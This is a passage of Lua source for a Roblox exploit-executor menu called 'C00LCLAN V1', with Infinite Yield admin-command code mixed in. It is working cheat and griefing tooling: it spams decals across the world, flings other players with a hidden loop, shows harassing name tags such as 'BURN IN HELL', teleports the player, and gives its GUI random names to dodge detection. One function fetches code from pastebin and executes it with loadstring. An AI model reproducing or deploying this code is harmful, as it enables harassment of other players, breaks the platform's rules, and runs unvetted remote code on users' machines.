pairs(v.ALIAS) do cmdMap[alias:lower()] = v end end for i = 1, #aliases do local cmd = string.lower(aliases[i].CMD) local alias = string.lower(aliases[i].ALIAS) if cmdMap[cmd] then customAlias[alias] = cmdMap[cmd] end end refreshaliases() end IYMouse.Move:Connect(checkTT) CaptureService.CaptureBegan:Connect(function() PARENT.Enabled = false end) CaptureService.CaptureEnded:Connect(function() task.delay(0.1, function() PARENT.Enabled = true end) end) task.spawn(function() local success, latestVersionInfo = pcall(function() local versionJson = game:HttpGet("https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/version") return HttpService:JSONDecode(versionJson) end) if success then if currentVersion ~= latestVersionInfo.Version then notify("Outdated", "Get the new version at infyiff.github.io") end if latestVersionInfo.Announcement and latestVersionInfo.Announcement ~= "" then local AnnGUI = Instance.new("Frame") local background = Instance.new("Frame") local TextBox = Instance.new("TextLabel") local shadow = Instance.new("Frame") local PopupText = Instance.new("TextLabel") local Exit = Instance.new("TextButton") local ExitImage = Instance.new("ImageLabel") AnnGUI.Name = randomString() AnnGUI.Parent = ScaledHolder AnnGUI.Active = true AnnGUI.BackgroundTransparency = 1 AnnGUI.Position = UDim2.new(0.5, -180, 0, -500) AnnGUI.Size = UDim2.new(0, 360, 0, 20) AnnGUI.ZIndex = 10 background.Name = "background" background.Parent = AnnGUI background.Active = true background.BackgroundColor3 = currentShade1 background.BorderSizePixel = 0 background.Position = UDim2.new(0, 0, 0, 20) background.Size = UDim2.new(0, 360, 0, 150) background.ZIndex = 10 TextBox.Parent = background TextBox.BackgroundTransparency = 1 TextBox.Position = UDim2.new(0, 5, 0, 5) TextBox.Size = UDim2.new(0, 350, 0, 140) TextBox.Font = Enum.Font.SourceSans TextBox.TextSize = 18 TextBox.TextWrapped = true TextBox.Text = latestVersionInfo.Announcement TextBox.TextColor3 = currentText1 TextBox.TextXAlignment = Enum.TextXAlignment.Left TextBox.TextYAlignment = Enum.TextYAlignment.Top TextBox.ZIndex = 10 shadow.Name = "shadow" shadow.Parent = AnnGUI shadow.BackgroundColor3 = currentShade2 shadow.BorderSizePixel = 0 shadow.Size = UDim2.new(0, 360, 0, 20) shadow.ZIndex = 10 PopupText.Name = "PopupText" PopupText.Parent = shadow PopupText.BackgroundTransparency = 1 PopupText.Size = UDim2.new(1, 0, 0.95, 0) PopupText.ZIndex = 10 PopupText.Font = Enum.Font.SourceSans PopupText.TextSize = 14 PopupText.Text = "Server Announcement" PopupText.TextColor3 = currentText1 PopupText.TextWrapped = true Exit.Name = "Exit" Exit.Parent = shadow Exit.BackgroundTransparency = 1 Exit.Position = UDim2.new(1, -20, 0, 0) Exit.Size = UDim2.new(0, 20, 0, 20) Exit.Text = "" Exit.ZIndex = 10 ExitImage.Parent = Exit ExitImage.BackgroundColor3 = Color3.new(1, 1, 1) ExitImage.BackgroundTransparency = 1 ExitImage.Position = UDim2.new(0, 5, 0, 5) ExitImage.Size = UDim2.new(0, 10, 0, 10) ExitImage.Image = getcustomasset("infiniteyield/assets/close.png") ExitImage.ZIndex = 10 wait(1) AnnGUI:TweenPosition(UDim2.new(0.5, -180, 0, 150), "InOut", "Quart", 0.5, true, nil) Exit.MouseButton1Click:Connect(function() AnnGUI:TweenPosition(UDim2.new(0.5, -180, 0, -500), "InOut", "Quart", 0.5, true, nil) wait(0.6) AnnGUI:Destroy() end) end end end) task.spawn(function() wait() Credits:TweenPosition(UDim2.new(0, 0, 0.9, 0), "Out", "Quart", 0.2) Logo:TweenSizeAndPosition(UDim2.new(0, 175, 0, 175), UDim2.new(0, 37, 0, 45), "Out", "Quart", 0.3) wait(1) local OutInfo = TweenInfo.new(1.6809, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, 0, false, 0) TweenService:Create(Logo, OutInfo, {ImageTransparency = 1}):Play() TweenService:Create(IntroBackground, OutInfo, {BackgroundTransparency = 1}):Play() Credits:TweenPosition(UDim2.new(0, 0, 0.9, 30), "Out", "Quart", 0.2) wait(0.2) Logo:Destroy() Credits:Destroy() IntroBackground:Destroy() minimizeHolder() end) end) end; task.spawn(C_a); -- StarterGui.ScreenGui.Frame3.TextButton.LocalScript local function C_c() local script = G2L["c"]; script.Parent.MouseButton1Click:Connect(function() --Services local Players = game:GetService("Players") local Player = Players.LocalPlayer local PlayerGui = Player:WaitForChild("PlayerGui") local UserInputService = game:GetService("UserInputService") local RunService = game:GetService("RunService") local PhysicsService = game:GetService("PhysicsService") local Character = Player.Character or Player.CharacterAdded:Wait() local Humanoid = Character:WaitForChild("Humanoid") local HRP = Character:WaitForChild("HumanoidRootPart") local Mouse = Player:GetMouse() local CollectionService = game:GetService("CollectionService") local RunService = game:GetService("RunService") local TeleportService = game:GetService("TeleportService") local HttpService = game:GetService("HttpService") local TweenService = game:GetService("TweenService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local MarketplaceService = game:GetService("MarketplaceService") local StarterGui = game:GetService("StarterGui") local Debris = game:GetService("Debris") local Lighting = game:GetService("Lighting") local SoundService = game:GetService("SoundService") local player = Player local PlaceId = game.PlaceId local JobId = game.JobId --settings local infjump = false local invisRunning = false local noclipOn = false local noclipConn local hoverHeight local bindFrame, bindConn, waitingBindFunction local customBinds = {} local infJumpEnabled = false local infJumpConnection = nil local espOn = false local spinOn = false local spinBAV, lockBP local savedCFrame local invisRunning = false local InvisibleCharacter = nil local OriginalCharacter = nil local voidConn = nil local flyingEnabled = false local invisRunning = false local flyBG, flyBV, flyConn local ray = workspace.CurrentCamera:ScreenPointToRay(Mouse.X, Mouse.Y) local hit, pos = workspace:FindPartOnRay(ray, Character) --GUI settings local GUI_WIDTH = 400 local GUI_HEIGHT = 320 local TITLE_HEIGHT = 30 local NAV_HEIGHT = 30 local FOOTER_HEIGHT = 30 local GRID_PADDING = 4 local GRID_COLUMNS = 4 math.randomseed(os.time()) local character_set = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" local string_sub = string.sub local math_random = math.random local table_concat = table.concat local character_set_amount = #character_set local number_one = 1 local default_length = 10 local function generate_string(length) local random_string = {} for int = number_one, length or default_length do local random_number = math_random(number_one, character_set_amount) local character = string_sub(character_set, random_number, random_number) random_string[#random_string + number_one] = character end return table_concat(random_string) end -- Function manager with descriptions local FunctionManager = { CategorizedFunctions = { All = {} }, Categories = { "All" }, CurrentCategoryIndex= 1, Descriptions = {}, ISFE = {}, OnFunctionAdded = Instance.new("BindableEvent"), } function FunctionManager:register(name, callback, category, description, FE) category = category or "General" if not self.CategorizedFunctions[category] then self.CategorizedFunctions[category] = {} table.insert(self.Categories, category) end self.CategorizedFunctions[category][name] = callback self.CategorizedFunctions.All[name] = callback self.Descriptions[name] = description or "" self.ISFE[name] = FE or "yes" if description == "NOT FE" then self.ISFE[name] = "no" end self.OnFunctionAdded:Fire(category, name, callback) self.OnFunctionAdded:Fire("All", name, callback) end function FunctionManager:getCurrentCategory() return self.Categories[self.CurrentCategoryIndex] end function FunctionManager:cycleCategory() self.CurrentCategoryIndex = self.CurrentCategoryIndex % #self.Categories + 1 return self:getCurrentCategory() end local screenGui = Instance.new("ScreenGui") screenGui.Name = generate_string(math_random(1, 10)) local die = screenGui.Name screenGui.ResetOnSpawn= false screenGui.Parent = PlayerGui local notificationContainer = Instance.new("Frame") notificationContainer.Name = "NotificationContainer" notificationContainer.Size = UDim2.new(1, 0, 1, 0) notificationContainer.Position = UDim2.new(0, 0, 0, 0) notificationContainer.BackgroundTransparency = 1 notificationContainer.ZIndex = 100 notificationContainer.Parent = screenGui local function Notify(text, title, duration) duration = duration or 4 local frame = Instance.new("Frame") frame.AnchorPoint = Vector2.new(1, 1) frame.Size = UDim2.new(0, 300, 0, 70) frame.Position = UDim2.new(1, 320, 1, -10) frame.BackgroundColor3 = Color3.fromRGB(40, 0, 0) frame.BackgroundTransparency = 0 frame.BorderSizePixel = 0 frame.ZIndex = 200 frame.Parent = notificationContainer local titleLabel = Instance.new("TextLabel") titleLabel.BackgroundTransparency = 1 titleLabel.Size = UDim2.new(1, -10, 0, 24) titleLabel.Position = UDim2.new(0, 5, 0, 4) titleLabel.Font = Enum.Font.SourceSansBold titleLabel.Text = title or "Notice" titleLabel.TextColor3 = Color3.new(1, 1, 1) titleLabel.TextSize = 18 titleLabel.TextXAlignment = Enum.TextXAlignment.Left titleLabel.ZIndex = 201 titleLabel.Parent = frame local bodyLabel = Instance.new("TextLabel") bodyLabel.BackgroundTransparency = 1 bodyLabel.Size = UDim2.new(1, -10, 1, -30) bodyLabel.Position = UDim2.new(0, 5, 0, 28) bodyLabel.Font = Enum.Font.SourceSans bodyLabel.Text = text or "" bodyLabel.TextColor3 = Color3.new(1, 1, 1) bodyLabel.TextSize = 14 bodyLabel.TextWrapped = true bodyLabel.TextXAlignment = Enum.TextXAlignment.Left bodyLabel.ZIndex = 201 bodyLabel.Parent = frame task.defer(function() local slideIn = TweenService:Create(frame, TweenInfo.new(0.3, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), { Position = UDim2.new(1, -10, 1, -10) }) slideIn:Play() end) task.delay(duration, function() local fadeOut = TweenService:Create(frame, TweenInfo.new(0.3), { BackgroundTransparency = 1, Position = UDim2.new(1, 320, 1, -10) }) local titleFade = TweenService:Create(titleLabel, TweenInfo.new(0.3), {TextTransparency = 1}) local bodyFade = TweenService:Create(bodyLabel, TweenInfo.new(0.3), {TextTransparency = 1}) fadeOut:Play() titleFade:Play() bodyFade:Play() fadeOut.Completed:Wait() frame:Destroy() end) end local notificationLayout = Instance.new("UIListLayout") notificationLayout.SortOrder = Enum.SortOrder.LayoutOrder notificationLayout.Padding = UDim.new(0, 6) notificationLayout.HorizontalAlignment = Enum.HorizontalAlignment.Right notificationLayout.VerticalAlignment = Enum.VerticalAlignment.Bottom notificationLayout.Parent = notificationContainer Notify("Welcome to C00lClan!", "Have fun!", 3) -- Main frame local mainFrame = Instance.new("Frame") mainFrame.Name = generate_string(math_random(1, 10)) mainFrame.Size = UDim2.new(0, GUI_WIDTH, 0, GUI_HEIGHT) mainFrame.Position = UDim2.new(0.5, -GUI_WIDTH/2, 0.5, -GUI_HEIGHT/2) mainFrame.BackgroundColor3= Color3.fromRGB(25, 5, 5) mainFrame.BorderSizePixel = 0 mainFrame.Parent = screenGui -- Tooltip local tooltip = Instance.new("TextLabel", screenGui) tooltip.Name = generate_string(math_random(1, 10)) tooltip.Size = UDim2.new(0, 200, 0, 40) tooltip.BackgroundColor3 = Color3.fromRGB(30,30,30) tooltip.BorderSizePixel = 0 tooltip.Visible = false tooltip.ZIndex = 100 tooltip.ClipsDescendants = false tooltip.TextColor3 = Color3.fromRGB(255, 255, 255) tooltip.TextWrapped = true -- Title bar local titleBar = Instance.new("Frame", mainFrame) titleBar.Name = generate_string(math_random(1, 10)) titleBar.Size = UDim2.new(1,0,0,TITLE_HEIGHT) titleBar.BackgroundColor3 = Color3.fromRGB(60,0,0) titleBar.BorderSizePixel = 0 local titleLabel = Instance.new("TextLabel", titleBar) titleLabel.Size = UDim2.new(1,-60,1,0) titleLabel.Position = UDim2.new(0,4,0,0) titleLabel.BackgroundTransparency = 1 titleLabel.Text = "C00LCLAN V1" titleLabel.Font = Enum.Font.SourceSansBold titleLabel.TextSize = 18 titleLabel.TextColor3 = Color3.new(1,1,1) titleLabel.TextXAlignment = Enum.TextXAlignment.Left titleLabel.Name = generate_string(math_random(1, 10)) local minBtn = Instance.new("TextButton", titleBar) minBtn.Name = generate_string(math_random(1, 10)) minBtn.Size = UDim2.new(0,30,1,0) minBtn.Position = UDim2.new(1,-30,0,0) minBtn.Text = "_" minBtn.Font = Enum.Font.SourceSansBold minBtn.TextSize = 18 minBtn.TextColor3 = Color3.new(1,1,1) minBtn.BackgroundColor3 = Color3.fromRGB(80,10,10) minBtn.BorderSizePixel = 0 -- Drag logic local dragging, dragInput, dragStart, startPos = false, nil local function updateDrag(input) local delta = input.Position - dragStart mainFrame.Position = startPos + UDim2.new(0, delta.X, 0, delta.Y) end titleBar.InputBegan:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 then dragging, dragStart, startPos = true, i.Position, mainFrame.Position i.Changed:Connect(function() if i.UserInputState==Enum.UserInputState.End then dragging=false end end) end end) titleBar.InputChanged:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseMovement then dragInput=i end end) UserInputService.InputChanged:Connect(function(i) if i==dragInput and dragging then updateDrag(i) end end) -- Category nav local catNav = Instance.new("Frame", mainFrame) catNav.Name = generate_string(math_random(1, 10)) catNav.Size = UDim2.new(1,0,0,NAV_HEIGHT) catNav.Position = UDim2.new(0,0,0,TITLE_HEIGHT) catNav.BackgroundTransparency = 1 local leftCat = Instance.new("TextButton", catNav) leftCat.Size = UDim2.new(0,50,1,0) leftCat.Text = "<" leftCat.Font = Enum.Font.SourceSansBold leftCat.TextSize = 24 leftCat.TextColor3 = Color3.new(1,1,1) leftCat.BackgroundColor3 = Color3.fromRGB(100,0,0) leftCat.BorderSizePixel = 0 leftCat.Name = generate_string(math_random(1, 10)) local catLabel = Instance.new("TextLabel", catNav) catLabel.Size = UDim2.new(1,-100,1,0) catLabel.Position = UDim2.new(0,50,0,0) catLabel.BackgroundTransparency = 1 catLabel.Text = "All" catLabel.Font = Enum.Font.SourceSansBold catLabel.TextSize = 18 catLabel.TextColor3 = Color3.new(1,1,1) catNav.Name = generate_string(math_random(1, 10)) local rightCat = leftCat:Clone() rightCat.Parent = catNav rightCat.Position = UDim2.new(1,-50,0,0) rightCat.Text = ">" rightCat.Name = generate_string(math_random(1, 10)) -- Grid local gridFrame = Instance.new("ScrollingFrame", mainFrame) gridFrame.Name = generate_string(math_random(1, 10)) gridFrame.ClipsDescendants= true gridFrame.Size = UDim2.new(1,-2*GRID_PADDING,0,GUI_HEIGHT-TITLE_HEIGHT-NAV_HEIGHT-FOOTER_HEIGHT-2*GRID_PADDING) gridFrame.Position = UDim2.new(0,GRID_PADDING,0,TITLE_HEIGHT+NAV_HEIGHT+GRID_PADDING) gridFrame.BackgroundTransparency = 1 local gridLayout = Instance.new("UIGridLayout", gridFrame) gridLayout.Name = generate_string(math_random(1, 10)) gridLayout.CellSize = UDim2.new(0,(GUI_WIDTH-2*GRID_PADDING-(GRID_COLUMNS-1)*GRID_PADDING)/GRID_COLUMNS,0,40) gridLayout.CellPadding = UDim2.new(0,GRID_PADDING,0,GRID_PADDING) gridLayout.SortOrder = Enum.SortOrder.LayoutOrder -- Footer local footer = Instance.new("Frame", mainFrame) footer.Name = generate_string(math_random(1, 10)) footer.Size = UDim2.new(1,0,0,FOOTER_HEIGHT) footer.Position = UDim2.new(0,0,1,-FOOTER_HEIGHT) footer.BackgroundTransparency = 1 local closeBtn = Instance.new("TextButton", footer) closeBtn.Size = UDim2.new(1,0,1,0) closeBtn.Text = "Close" closeBtn.Font = Enum.Font.SourceSansBold closeBtn.TextSize = 18 closeBtn.TextColor3 = Color3.new(1,1,1) closeBtn.BackgroundColor3 = Color3.fromRGB(100,0,0) closeBtn.BorderSizePixel = 0 closeBtn.Name = generate_string(math_random(1, 10)) -- Minimize toggle local minimized = false minBtn.MouseButton1Click:Connect(function() minimized = not minimized if minimized == true then mainFrame.BackgroundTransparency = 1 else mainFrame.BackgroundTransparency = 0 end gridFrame.Visible = not minimized catNav.Visible = not minimized footer.Visible = not minimized minBtn.Text = minimized and "◻" or "_" end) local function NotifyERROR(text) Notify(text, "ERROR", 3) end -- Build the grid and tooltips local function updateGrid() for _, c in ipairs(gridFrame:GetChildren()) do if c:IsA("TextButton") then c:Destroy() end end local cat = FunctionManager:getCurrentCategory() catLabel.Text = cat for name, cb in pairs(FunctionManager.CategorizedFunctions[cat]) do local btn = Instance.new("TextButton") local isFE = FunctionManager.ISFE[name] btn.Size = UDim2.new(1,0,0,40) btn.BackgroundColor3 = Color3.fromRGB(70,10,10) btn.BorderSizePixel = 0 btn.Font = Enum.Font.SourceSansBold btn.TextSize = 16 btn.TextColor3 = Color3.new(1,1,1) btn.Text = name btn.TextWrapped = true btn.Parent = gridFrame btn.Name = generate_string(math_random(1, 10)) if isFE == "no" then btn.BackgroundColor3 = Color3.fromRGB(72, 100, 87) end -- tooltip local desc = FunctionManager.Descriptions[name] btn.MouseMoved:Connect(function() if desc ~= "" and desc ~= nil then tooltip.Text = desc tooltip.Position = UDim2.new(0,Mouse.X,0,Mouse.Y - tooltip.Size.Y.Offset - 4) tooltip.Visible = true end end) btn.MouseLeave:Connect(function() tooltip.Visible = false end) btn.MouseButton1Click:Connect(function() pcall(cb) end) end end local logo = Instance.new("ImageLabel") logo.Name = generate_string(math_random(1, 10)) logo.BackgroundTransparency = 1 logo.Size = UDim2.new(1, 0, 0, 100) logo.Position = UDim2.new(0, -50, 0, -100) logo.Image = "rbxassetid://87486058304609" logo.ScaleType = Enum.ScaleType.Fit logo.Parent = mainFrame -- nav buttons leftCat.MouseButton1Click:Connect(function() FunctionManager.CurrentCategoryIndex = (FunctionManager.CurrentCategoryIndex - 2) % #FunctionManager.Categories + 1 updateGrid() end) rightCat.MouseButton1Click:Connect(function() FunctionManager:cycleCategory() updateGrid() end) closeBtn.MouseButton1Click:Connect(function() screenGui:Destroy() end) FunctionManager.OnFunctionAdded.Event:Connect(updateGrid) -- Initialize updateGrid() FunctionManager:register("Decal Spam", function() local decalID = 8408806737 local function exPro(root) for _, v in pairs(root:GetChildren()) do if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id="..decalID then v.Parent = nil elseif v:IsA("BasePart") then v.Material = "Plastic" v.Transparency = 0 local One = Instance.new("Decal", v) local Two = Instance.new("Decal", v) local Three = Instance.new("Decal", v) local Four = Instance.new("Decal", v) local Five = Instance.new("Decal", v) local Six = Instance.new("Decal", v) One.Texture = "http://www.roblox.com/asset/?id="..decalID Two.Texture = "http://www.roblox.com/asset/?id="..decalID Three.Texture = "http://www.roblox.com/asset/?id="..decalID Four.Texture = "http://www.roblox.com/asset/?id="..decalID Five.Texture = "http://www.roblox.com/asset/?id="..decalID Six.Texture = "http://www.roblox.com/asset/?id="..decalID One.Face = "Front" Two.Face = "Back" Three.Face = "Right" Four.Face = "Left" Five.Face = "Top" Six.Face = "Bottom" end exPro(v) end end local function asdf(root) for _, v in pairs(root:GetChildren()) do asdf(v) end end exPro(game.Workspace) asdf(game.Workspace) local s = Instance.new("Sky") s.Name = "Sky" s.Parent = game.Lighting local skyboxID = 8408806737 s.SkyboxBk = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxDn = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxFt = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxLf = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxRt = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxUp = "http://www.roblox.com/asset/?id="..skyboxID game.Lighting.TimeOfDay = 12 for i, v in pairs(game.Players:GetChildren()) do local emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Torso emit.Texture = "http://www.roblox.com/asset/?id=8408806737" emit.VelocitySpread = 20 end for i, v in pairs(game.Players:GetChildren()) do local emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Torso emit.Texture = "http://www.roblox.com/asset/?id=8408806737" emit.VelocitySpread = 20 end for i, v in pairs(game.Players:GetChildren()) do local emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Torso emit.Texture = "http://www.roblox.com/asset/?id=8408806737" emit.VelocitySpread = 20 end while true do game.Lighting.Ambient = Color3.new(math.random() , math.random() , math.random()) wait(0.2) game.Lighting.ShadowColor = Color3.new(math.random() , math.random() , math.random()) wait(0.2) end end, "Troll", "NOT FE") FunctionManager:register("JOHN DOE", function() local redSkyboxAssetId = "rbxassetid://1012887" local sky = Lighting:FindFirstChildOfClass("Sky") if not sky then sky = Instance.new("Sky", Lighting) end sky.SkyboxBk = redSkyboxAssetId sky.SkyboxDn = redSkyboxAssetId sky.SkyboxFt = redSkyboxAssetId sky.SkyboxLf = redSkyboxAssetId sky.SkyboxRt = redSkyboxAssetId sky.SkyboxUp = redSkyboxAssetId if not ReplicatedStorage:FindFirstChild("juisdfj0i32i0eidsuf0iok") then local detection = Instance.new("Decal") detection.Name = "juisdfj0i32i0eidsuf0iok" detection.Parent = ReplicatedStorage end local screenGui = Instance.new("ScreenGui") screenGui.Name = "PersistentSoundGui" screenGui.ResetOnSpawn = false screenGui.Parent = player:WaitForChild("PlayerGui") local button = Instance.new("TextButton") button.Size = UDim2.new(0, 150, 0, 50) button.Position = UDim2.new(0.02, 0, 0.477, 0) button.Text = "Sound Toggle" button.Font = Enum.Font.SourceSansBold button.TextSize = 20 button.BackgroundColor3 = Color3.fromRGB(50, 50, 50) button.TextColor3 = Color3.new(1, 1, 1) button.Parent = screenGui local backgroundSound = SoundService:FindFirstChild("PersistentBGSound") if not backgroundSound then backgroundSound = Instance.new("Sound") backgroundSound.Name = "PersistentBGSound" backgroundSound.SoundId = "rbxassetid://19094700" backgroundSound.PlaybackSpeed = 0.221 backgroundSound.Looped = true backgroundSound.Volume = 1 backgroundSound.Parent = SoundService backgroundSound:Play() end button.Activated:Connect(function() backgroundSound.Playing = not backgroundSound.Playing end) local function setupCharacter(character) local humanoid = character:WaitForChild("Humanoid") local torso = character:WaitForChild("Torso") local hrp = character:WaitForChild("HumanoidRootPart") local tool = Instance.new("Tool") tool.Name = "Slash" tool.RequiresHandle = false tool.Parent = player.Backpack tool.Activated:Connect(function() local animation = Instance.new("Animation") animation.AnimationId = "rbxassetid://186934658" local track = humanoid:LoadAnimation(animation) track:Play() track:AdjustSpeed(2) local s = Instance.new("Sound", torso) s.SoundId = "rbxassetid://28144425" s:Play() task.wait(0.2) local s2 = Instance.new("Sound", torso) s2.SoundId = "rbxassetid://429400881" s2.Volume = 0.2 s2:Play() end) local naeeym = Instance.new("BillboardGui", character) naeeym.Size = UDim2.new(0, 100, 0, 40) naeeym.StudsOffset = Vector3.new(0, 2, 0) naeeym.Adornee = character:WaitForChild("Head") local tecks = Instance.new("TextLabel", naeeym) tecks.BackgroundTransparency = 1 tecks.BorderSizePixel = 0 tecks.Font = Enum.Font.Fantasy tecks.TextSize = 24 tecks.TextStrokeTransparency = 0 tecks.TextStrokeColor3 = Color3.new(0, 0, 0) tecks.TextColor3 = Color3.new(0, 0, 0) tecks.Size = UDim2.new(1, 0, 0.5, 0) tecks.Text = "John Doe" local function changeName(newName) tecks.Text = newName end local function shakeTag() local originalOffset = naeeym.StudsOffset for _ = 1, 10 do naeeym.StudsOffset = originalOffset + Vector3.new(math.random(-1,1), math.random(-1,1), math.random(-1,1)) task.wait(0.05) end naeeym.StudsOffset = originalOffset end coroutine.wrap(function() while character:IsDescendantOf(workspace) do changeName("BURN IN HELL") shakeTag() task.wait(0.2) changeName("STOP") task.wait(0.1) changeName("JUST GIVE UP") shakeTag() task.wait(0.2) changeName("STOP") shakeTag() task.wait(0.2) changeName("JOHN DOE") shakeTag() task.wait(0.3) changeName("HOPELESS") shakeTag() task.wait(0.3) end end)() local footPartSize = Vector3.new(10, 0.5, 10) local floorPartColor = BrickColor.Black() local floorMaterial = Enum.Material.Neon local yOffset = -2.8 local lastPosition = hrp.Position local standingTimer = 0 RunService.Heartbeat:Connect(function(dt) if not character:IsDescendantOf(workspace) then return end local currentPosition = hrp.Position standingTimer += dt local distanceMoved = (currentPosition - lastPosition).Magnitude local stepPosition = Vector3.new(currentPosition.X, hrp.Position.Y + yOffset, currentPosition.Z) local function createFootstep(position) local part = Instance.new("Part") part.Size = footPartSize part.Position = position part.Anchored = true part.CanCollide = false part.BrickColor = floorPartColor part.Material = floorMaterial part.Transparency = 0.5 part.Parent = workspace task.spawn(function() for i = 1, 10 do part.Transparency = i * 0.03 task.wait(0.05) end end) Debris:AddItem(part, 1) end if distanceMoved > 1 then createFootstep(stepPosition) lastPosition = currentPosition standingTimer = 0 elseif standingTimer > 0.5 then createFootstep(stepPosition) standingTimer = 0 end end) local movel = 0.1 local hiddenfling = true local function fling() while hiddenfling and character:IsDescendantOf(workspace) do if hrp then local originalVelocity = hrp.Velocity hrp.Velocity = originalVelocity * 10000 + Vector3.new(0, 10000, 0) RunService.RenderStepped:Wait() hrp.Velocity = originalVelocity RunService.Stepped:Wait() hrp.Velocity = originalVelocity + Vector3.new(0, movel, 0) movel = -movel end RunService.Heartbeat:Wait() end end coroutine.wrap(fling)() end player.CharacterAdded:Connect(setupCharacter) if player.Character then setupCharacter(player.Character) end local Players = game:GetService("Players") local UserInputService = game:GetService("UserInputService") local player = Players.LocalPlayer local mouse = player:GetMouse() local function teleportToMousePosition() local character = player.Character if not character or not character:FindFirstChild("HumanoidRootPart") then return end local target = mouse.Hit if target then character:MoveTo(target.Position) end end UserInputService.InputBegan:Connect(function(input, gameProcessed) if gameProcessed then return end if input.KeyCode == Enum.KeyCode.T then teleportToMousePosition() end end) end, "Trolling", "BROKEN") FunctionManager:register("Invis gui", function() loadstring(game:HttpGet('https://pastebin.com/raw/3Rnd9rHf'))() end, "Trolling", "Credits to the original maker!") FunctionManager:register("DANCE", function() local anim = Instance.new("Animation") anim.AnimationId = "rbxassetid://27789359" local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(anim) track:Play() end, "Fun", "DANCE DANCE") FunctionManager:register("Sound GUI", function() local gui = game.Players.LocalPlayer.PlayerGui:FindFirstChild("SoundGui") if gui then gui:Destroy() return end local SoundGui = Instance.new("ScreenGui") local Frame = Instance.new("Frame") local AddSoundId = Instance.new("TextButton") local SoundIds = Instance.new("TextBox") local Default = Instance.new("TextButton") local Credits = Instance.new("TextLabel") local Title = Instance.new("TextLabel") local Swap = Instance.new("ImageButton") local PlayBackSpeed = Instance.new("TextBox") local Volume = Instance.new("TextBox") local Looped = Instance.new("TextBox") local Exit = Instance.new("ImageButton") local Frame2 = Instance.new("Frame") local Open = Instance.new("ImageButton") local spoky = Instance.new("Sound") local c00lflag = Instance.new("Sound") local drag = Instance.new("UIDragDetector") drag.Parent = Frame c00lflag.Name = "c00lsound23sas" c00lflag.Parent = Frame spoky.Parent = Frame spoky.SoundId = "rbxassetid://95156028272944" spoky.Volume = 3 spoky.PlaybackSpeed = 0.2 spoky.Name = "spoky" --Properties: SoundGui.Name = "SoundGui" SoundGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui") SoundGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling SoundGui.ResetOnSpawn = false Frame.Parent = SoundGui Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Frame.BorderColor3 = Color3.fromRGB(255, 0, 4) Frame.BorderSizePixel = 2 Frame.Position = UDim2.new(0, 700, 0, 300) Frame.Size = UDim2.new(0, 398, 0, 206) AddSoundId.Name = "AddSoundId" AddSoundId.Parent = Frame AddSoundId.BackgroundColor3 = Color3.fromRGB(0, 0, 0) AddSoundId.BorderColor3 = Color3.fromRGB(255, 0, 0) AddSoundId.BorderSizePixel = 2 AddSoundId.Position = UDim2.new(0.118090451, 0, 0.718446612, 0) AddSoundId.Size = UDim2.new(0, 307, 0, 36) AddSoundId.Font = Enum.Font.Arial AddSoundId.Text = "Add Sound!" AddSoundId.TextColor3 = Color3.fromRGB(255, 255, 255) AddSoundId.TextSize = 29.000 SoundIds.Name = "SoundIds" SoundIds.Parent = Frame SoundIds.BackgroundColor3 = Color3.fromRGB(0, 0, 0) SoundIds.BorderColor3 = Color3.fromRGB(255, 0, 0) SoundIds.BorderSizePixel = 2 SoundIds.Position = UDim2.new(0.118090451, 0, 0.305825233, 0) SoundIds.Size = UDim2.new(0, 307, 0, 33) SoundIds.Font = Enum.Font.Arial SoundIds.PlaceholderText = "Add a sound ID here!, No rbx://" SoundIds.Text = "" SoundIds.TextColor3 = Color3.fromRGB(255, 255, 255) SoundIds.TextScaled = true SoundIds.TextSize = 14.000 SoundIds.TextWrapped = true Default.Name = "Default" Default.Parent = Frame Default.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Default.BorderColor3 = Color3.fromRGB(255, 0, 0) Default.BorderSizePixel = 2 Default.Position = UDim2.new(0.118090451, 0, 0.529126227, 0) Default.Size = UDim2.new(0, 307, 0, 28) Default.Font = Enum.Font.Arial Default.Text = "Spooky Scary Skeletons!" Default.TextColor3 = Color3.fromRGB(255, 255, 255) Default.TextSize = 23.000 Credits.Name = "Credits" Credits.Parent = Frame Credits.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Credits.BackgroundTransparency = 1.000 Credits.BorderColor3 = Color3.fromRGB(0, 0, 0) Credits.BorderSizePixel = 0 Credits.Position = UDim2.new(0.577889442, 0, 0.9174757, 0) Credits.Size = UDim2.new(0, 153, 0, 17) Credits.Font = Enum.Font.SourceSans Credits.Text = "made by: 1known. On discord!" Credits.TextColor3 = Color3.fromRGB(255, 255, 255) Credits.TextSize = 14.000 Title.Name = "Title" Title.Parent = Frame Title.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Title.BackgroundTransparency = 1.000 Title.BorderColor3 = Color3.fromRGB(255, 0, 4) Title.BorderSizePixel = 2 Title.Position = UDim2.new(0.208542719, 0, 0.0291262139, 0) Title.Size = UDim2.new(0, 231, 0, 48) Title.Font = Enum.Font.Arial Title.Text = "c00lSound GUI!" Title.TextColor3 = Color3.fromRGB(255, 255, 255) Title.TextSize = 33.000 Title.TextWrapped = true Swap.Name = "Swap" Swap.Parent = Frame Swap.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Swap.BorderColor3 = Color3.fromRGB(255, 0, 0) Swap.BorderSizePixel = 0 Swap.Position = UDim2.new(0.904522598, 0, 0.33495146, 0) Swap.Size = UDim2.new(0, 23, 0, 21) Swap.Image = "rbxassetid://2500573769" PlayBackSpeed.Name = "PlayBackSpeed" 